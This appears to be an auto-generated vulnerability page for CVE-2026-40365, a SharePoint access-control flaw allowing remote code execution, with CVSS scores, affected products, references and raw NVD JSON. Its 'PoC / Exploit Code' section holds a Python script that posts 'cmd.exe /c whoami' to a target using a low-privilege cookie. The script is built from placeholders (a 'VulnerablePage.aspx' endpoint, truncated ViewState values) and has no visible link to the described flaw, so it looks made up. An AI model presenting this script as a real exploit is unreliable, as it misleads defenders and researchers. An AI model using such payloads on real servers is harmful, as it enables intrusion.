CVE-2026-40365

Description

Insufficient granularity of access control in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:* - VULNERABLE

cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:* - VULNERABLE

cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:* - VULNERABLE

Microsoft Office SharePoint (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target SharePoint instance
url = "http://target-sharepoint-site/_layouts/15/VulnerablePage.aspx"

# Attacker's low-privilege session cookie
headers = {
    "Cookie": "ASP.NET_SessionId=low_priv_user_session",
    "User-Agent": "Mozilla/5.0"
}

# Payload exploiting the access control granularity issue
# The payload aims to execute a system command via the vulnerable endpoint
payload = {
    "__VIEWSTATE": "/wEPDwULL...",
    "__EVENTVALIDATION": "/wEdA...",
    "ctl00$PlaceHolderMain$btnSubmit": "Execute",
    "ctl00$PlaceHolderMain$txtInput": "cmd.exe /c whoami"
}

# Send the malicious request
response = requests.post(url, data=payload, headers=headers)

# Check response
if response.status_code == 200 and "nt authority" in response.text:
    print("[+] Exploit successful! Command executed.")
else:
    print("[-] Exploit failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40365
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40365
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40365/
[4] VulDB https://vuldb.com/cve/CVE-2026-40365
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40365

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40365", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:15.483", "lastModified": "2026-05-13T20:52:35.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient granularity of access control in Microsoft Office SharePoint allows an authorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1220"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*", "versionEndExcluding": "16.0.19725.20280", "matchCriteriaId": "E9919927-DE08-4AE4-B9F6-2A83117EE14A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40365", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}